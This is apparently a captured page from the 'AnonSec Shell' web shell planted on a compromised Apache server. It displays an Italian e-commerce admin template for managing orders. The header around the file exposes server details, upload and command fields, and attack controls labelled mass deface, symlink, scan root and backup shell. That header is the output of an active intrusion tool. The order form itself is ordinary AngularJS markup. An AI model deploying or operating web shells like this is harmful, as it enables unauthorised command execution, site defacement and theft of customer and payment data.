. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.32.98   [ Reverse IP ]
Web Server : Apache/2.4.66 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-81.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ripara.co/admin/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ripara.co/admin/views/peo-ordini.html
<div class="container" data-ng-controller="ordineCtrl as ordinectrl">
   <div class="block-header">
      <h2>Ordine<small>In questa sezione pui trovare tutti Ordine del sistema.</small></h2>
      <ul class="actions m-t-20 hidden-xs">
         <li class="dropdown" uib-dropdown>
            <a href="" uib-dropdown-toggle>
            <i class="zmdi zmdi-more-vert"></i>
            </a>
            <ul class="dropdown-menu dropdown-menu-right">
               <li>
                  <a data-ng-click="ordinectrl.newOrdine = 1;ordinectrl.startOrdine();ordinectrl.ordineMod=0 "href="">Aggiungi Ordine</a>
               </li>
            </ul>
         </li>
      </ul>
   </div>
   <!-- card Ordine-->
   <div class="card hidden-print" id="insertOrdine" data-ng-if="ordinectrl.newOrdine === 1 || ordinectrl.ordineMod===1">
      <form class="form-horizontal ng-pristine ng-valid" role="form">
         <div class="card-header">
            <h2 ng-if="ordinectrl.newOrdine===1">Aggiungi Ordine 
            </h2>
            <h2 ng-if="ordinectrl.ordineMod===1">Modifica Ordine {{ordinectrl.ordineInsert.idordine}}
            </h2>
         </div>
         <div class="card-body card-padding">
            <div class="form-group">
               <label for="ragioneSociale" class="col-sm-2 control-label">Nome Cognome o <br> Ragione Sociale
               <label class="errorJ">*
               </label>
               </label>
               <div class="col-sm-10">
                  <div class="fg-line">
                     <div class="fg-line">
                     <select style="width: -webkit-fill-available" chosen data-placeholder="Seleziona un cliente" ng-model="ordinectrl.ordineInsert.cliente" ng-options="y as y.ragionesociale for y in ordinectrl.clienti" class="w-100" ng-change="ordinectrl.cambiaIndirizzo()" ng-init="ordinectrl.getClienti()"></select>
                        
                     </div>
                  </div>
               </div>
            </div>

            <div class="form-group">
               <label for="device" class="col-sm-2 control-label">Stato</label>
               <div class="col-sm-10">
                  <div class="fg-line">

                     <select style="width: -webkit-fill-available" chosen data-placeholder="Seleziona uno stato" ng-model="ordinectrl.ordineInsert.idstato" ng-options="y.idstato as y.nomestato for y in ordinectrl.stati" class="w-100"></select>
                  </div>
               </div>
            </div>

            <div class="form-group">
               <label for="indirizzo" class="col-sm-2 control-label">Indirizzo Spedizione</label>
               <div class="col-sm-10">
                  <div class="fg-line">
                     <div class="fg-line">
                        <input type="text" class="form-control input-sm" id="indirizzo" data-ng-model="ordinectrl.ordineInsert.indirizzospedizione"  placeholder="Indirizzo Spedizione">
                     </div>
                  </div>
               </div>
            </div>

            <div class="form-group">
               <label for="bnomeProdottoVendita" class="col-sm-2 control-label">Codice Sconto
               
               </label>
               <div class="col-sm-10">
                  <div class="fg-line">
                     <div class="fg-line">
                        <input type="text" class="form-control input-sm" id="bnomeProdottoVendita" data-ng-model="ordinectrl.ordineInsert.sconto"  placeholder="Codice Sconto">
                     </div>
                  </div>
               </div>
            </div>
            


            <div class="form-group">
               <label for="device" class="col-sm-2 control-label">Tipo Pagamento</label>
               <div class="col-sm-10">
                  <div class="fg-line">
                     
                     <select style="width: -webkit-fill-available" chosen data-placeholder="Seleziona tipo pagamento" ng-model="ordinectrl.ordineInsert.idpagamento"  ng-options="y.idpagamento as y.nomepagamento for y in ordinectrl.tipipagamento" class="w-100">
                     </select>
                  </div>
               </div>
            </div>
            

            

   <div class="card">
      <div class=" lv-bordered lv-lg">
         <div class="lv-header-alt clearfix">
            <div class="form-group">
               <label for="device" class="col-sm-2 control-label">PRODOTTI NELL'ORDINE</label>
               <div class="col-sm-10">
                  <div class="fg-line">
                     
                    <select style="width:auto" chosen multiple data-placeholder="Aggiungi un prodotto" ng-model="ordinectrl.ordineInsert.prodotti"  ng-options="y as y.nome for y in ordinectrl.prodotti track by $index"  class="w-100">
                     </select>
   
                  </div>
               </div>
            </div>
            

               
         </div>

         

         

         <table class="table table-striped table-vmiddle" ng-if="ordinectrl.ordineInsert.prodotti.length>0">
         <thead></thead>
            <tboby>   
              <tr>
                <td>
                </td>
                <td style="font-weight: bold;text-align: center;" ng-if="ordinectrl.newOrdine===1">
                  Quantità / Disponibili
                </td>
                <td style="font-weight: bold;text-align: center;" ng-if="ordinectrl.ordineMod===1">
                  Quantità
                </td>
                <td style="font-weight: bold;text-align: center;">
                  Nome - Codice
                </td>
                <td style="font-weight: bold;text-align: center;">
                  Sconto
                </td>
                <td style="font-weight: bold;text-align: center;">
                  Prezzo
                </td>
                <td style="font-weight: bold;text-align: center;">
                  Totale
                </td>
                <td style="font-weight: bold;text-align: center;">
                  Descrizione
                </td>

              <tr ng-repeat="s in ordinectrl.ordineInsert.prodotti" id="tableProdottiOrdine"  >
               <td>
                  
                  <button ng-if="ordinectrl.newOrdine===1" ng-click="(s.quantita < s.max)?s.quantita=s.quantita+1:''" style="background: green;color: white;"> <i class="zmdi zmdi-plus"></i></button>
                  <button ng-if="ordinectrl.ordineMod===1" ng-click="s.quantita=s.quantita+1" style="background: green;color: white;"> <i class="zmdi zmdi-plus"></i></button>
                  <button ng-click="s.quantita===1?ordinectrl.ordineInsert.prodotti.pop(s):s.quantita=s.quantita-1;" style="background: orange;color: white;"> <i class="zmdi zmdi-minus"></i> </button> 
               </td>
               <td  style="padding:0px !important" class="col-sm-3" >
               
                       <center ng-if="ordinectrl.newOrdine===1">{{s.quantita}} / {{s.max}}</center>
                       <center ng-if="ordinectrl.ordineMod===1">{{s.quantita}}</center>
                </td>
                <td class="col-sm-3" >
               
                    
                    
                       <center>{{s.nome}} - {{s.codice}}</center>

                        
                   
                </div>

                </td >

                <td class="col-sm-2"  >
               
                        <center><input type="number" min="0" max="100" ng-model="s.sconto"> %</center>
                </td>

               <td class="col-sm-2">
               
                        <center>&euro; {{(s.prezzo-(s.prezzo*s.sconto/100)) | number:2}} <br><label ng-if="(s.prezzo-(s.prezzo*s.sconto/100)) != s.prezzo" style="color: red; text-decoration: line-through">&euro; {{s.prezzo}}</label></center>
                </td>
                <td class="col-sm-2">
               
                        <center>&euro; {{(s.prezzo-(s.prezzo*s.sconto/100))*s.quantita | number:2}} </center>
                </td>
               <td class="col-sm-3" >
               <center>{{s.tipoprodotto}}</center>

                </td>
                
               </tr>
               <tr ng-if="false">
                <td colspan="3">
                </td>
                <td style="font-weight: bold;text-align: center;">
                  Totale
                </td>
                <td style="font-weight: bold;text-align: center;" ng-init="ordinectrl.ordineInsert.prodotti.totale=0;">
                  <div ng-repeat="s in ordinectrl.ordineInsert.prodotti" style="display: none;">
                       {{ordinectrl.ordineInsert.prodotti.totale=ordinectrl.ordineInsert.prodotti.totale+(s.prezzo-(s.prezzo*s.sconto/100))}}
                  </div>
                  &euro; 
                </td>
                <td style="font-weight: bold;text-align: center;">
                  
                </td>
               </tr>

               

               </tbody>
            </table>
      </div>
    </div>


            

            

            <div class="form-group">
               <div class="col-sm-offset-2 col-sm-10">
                  <button  ng-if="ordinectrl.newOrdine===1" class="btn btn-primary btn-sm waves-effect" ng-click="ordinectrl.submitOrdine();ordinectrl.newOrdine=0;">Inserisci Ordine
                  </button>
                  <button ng-if="ordinectrl.ordineMod===1"  class="btn btn-primary btn-sm waves-effect" ng-click="ordinectrl.modificaOrdine();ordinectrl.newOrdine=0">Modifica Ordine 
                  </button>
                  <button class="btn btn-link btn-sm" type="reset" data-ng-click="ordinectrl.newOrdine = 0;ordinectrl.startOrdine();ordinectrl.ordineMod=0 ">Annulla
                  </button>
               </div>
            </div>
         </div>
      </form>
   </div>
   <div class="card">
      <div class="card-body">
         <div class="table-responsive">
            <table ng-table="ordinectrl.tableOrdine" class="table table-striped table-vmiddle" show-filter="true">
               <thead>
                  <tr>
                    <th>Numero Ordine</th>
                     <th ng-repeat="column in elencoCampi" class="text-center sortable" ng-click="ordinectrl.tableOrdine.sorting('orderBy', (ordinectrl.isSortBy ? '+' : '-') + elencoChiavi[$index]);" sortable="elencoCampi[$index]">
                        {{elencoCampi[$index]}}
                     </th>
                  </tr>
                  <tr>
                     <th ng-repeat="column in elencoCampi" class="text-center sortable ng-bilding">
                        <input  type="text" class="form-control" ng-model="filtri_real_time[elencoCampi[$index]]" ng-change="ordinectrl.tableOrdine.sorting('filter', {key: elencoChiavi[$index], value: filtri_real_time[elencoCampi[$index]] });" />
                     </th>
                  </tr>
               </thead>
               <tbody ng-repeat="w in $data" >
               <tr ng-class="{ 'active': w.$edit }">
                 <td>
                     <span >{{w.idordine}}</span>
                  </td>
                  <td>
                     <span >{{w.nomestato}}</span>
                  </td>
                  <td>
                     <span>{{w.ragionesociale}}</span>
                  </td>
                  <td>
                     <span style="text-align: center;" ng-repeat="x in ordinectrl.tipipagamento" ng-if="x.idpagamento == w.idpagamento" ng-init="w.costopagamento = x.costopagamento">{{ x.nomepagamento }} {{(w.idpagamento==1)?w.txn_id:''}}</span>
                  </td>
                  <td>
                     <span>{{ w.indirizzospedizione }}</span>
                  </td>
                  <td>
                     <span>{{ w.sconto }}</span>
                  </td>
                  <td>
                     <span ng-if="w.costopagamento<1">&euro; {{ w.totale | number:2}}</span>
                     <span ng-if="w.costopagamento>0">&euro; {{ w.totale | number:2}}<br> + <br> &euro; {{w.costopagamento}} (Pagamento)</span>
                  </td>
                  <td>
                     <span>{{ w.timestamp }}</span>
                  </td>
                  
                  
                  
                  
                  <!--  <td><span><img src="{{w.foto}}" style="max-width:80px;"></span></td>-->
                  <!--    <td><span><img src="{{w.fotocategoria}}" style="max-width:50px"></span></td>-->
                  <td >
                     <button ng-if="utente.user_type_id == 830830 && w.prodotti.length>0" type="button" class="btn btn-default" ng-click="ordinectrl.getTnx(w.txn_id, w);w.dettaglioOrdine==1?w.dettaglioOrdine=0:w.dettaglioOrdine=1; ">
                     <i class="zmdi  zmdi-fullscreen-alt"></i>
                     </button>
                     <button ng-if="utente.user_type_id == 830830" type="button" class="btn btn-default" ng-click="ordinectrl.modOrdine(w);gotoBottom()">
                     <i class="zmdi zmdi-edit"></i>
                     </button>
                     <button ng-if="utente.user_type_id == 830830" type="button" class="btn btn-default" ng-click="ordinectrl.deleteOrdine(w)">
                     <i class="zmdi zmdi-delete"></i>
                     </button>
                  </td>
               </tr>
               <tr ng-if="w.dettaglioOrdine===1">
              
               <th colspan="9" style="border-right: 1px solid black !important;"><h3>Dettaglio Ordine</h3></th>
               </tr>
               <tr ng-if="w.dettaglioOrdine===1" >
              
               <th colspan="3"><center>Nome Prodotto</center></th>
               <th ><center>Quantità</center></th>
               <th ><center>Prezzo Unitario</center></th>
               <th ><center>Sconto</center></th>
               <th colspan="3" style="border-right: 1px solid black !important;"><center>Codice</center></th>
               </tr>
               <tr  id="tableProdottiOrdine" ng-if="w.dettaglioOrdine===1" ng-repeat="x in w.prodotti track by $index" >

               <td colspan="3" style="padding:0px !important"  >
               <div  class="lv-item media">
                    
                    <div class="media-body">
                        <div class="lv-title"><center>{{x.nome}}</center></div>

                        
                    </div>
                </div>

                </td>
                <td >
               <div  class="lv-item media">
                    
                    <div class="media-body">
                        <div class="lv-title"><center>{{x.quantita}}</center></div>

                        
                    </div>
                </div>

                </td>

               <td >
               <div  class="lv-item media">
                    
                    <div class="media-body">
                        <div class="lv-title" ng-if="!x.sconto"> <center>&euro; {{x.prezzo | number:2}} <br></div>
                        <div class="lv-title" ng-if="x.sconto"> <center>&euro; {{(x.prezzo-(x.prezzo*x.sconto/100)) | number:2}} <br><label ng-if="(x.prezzo-(x.prezzo*x.sconto/100)) != x.prezzo" style="color: red; text-decoration: line-through">&euro; {{x.prezzo}}</label></center></div>

                       
                    </div>
                </div>

                </td>
              <td >
               <div  class="lv-item media">
                    
                    <div class="media-body">
                        <div class="lv-title"><center>{{(x.sconto)?x.sconto+"%":"non disponibile"}} </center></div>

                        
                    </div>
                </div>

                </td>
               <td colspan="3" style="border-right: 1px solid black !important;">
                <div  class="lv-item media">
                    
                    <div class="media-body">
                        <div class="lv-title"><center>{{x.codice}}</center></div>

                        
                    </div>
                </div>

                </td>
                
               </tr>
               <tr ng-if="w.dettaglioOrdine===1">
                    <th colspan="9" style="border-top: 1px solid black !important;">Info Transazione </th>
               </tr>
               <tr ng-if="w.dettaglioOrdine===1">
                    <th colspan="9">{{w.pay}} </th>
               </tr>
               <tr ng-if="w.dettaglioOrdine===1">
                    <th colspan="9" style="border-top: 1px solid black !important;"></th>
               </tr>

               <tr ng-if="w.dettaglioOrdine===1">
                    <th colspan="9" style="border-top: 1px solid black !important;"></th>
               </tr>

               

               </tbody>
            </table>
         </div>
      </div>
   </div>
</div>

Anon7 - 2022
AnonSec Team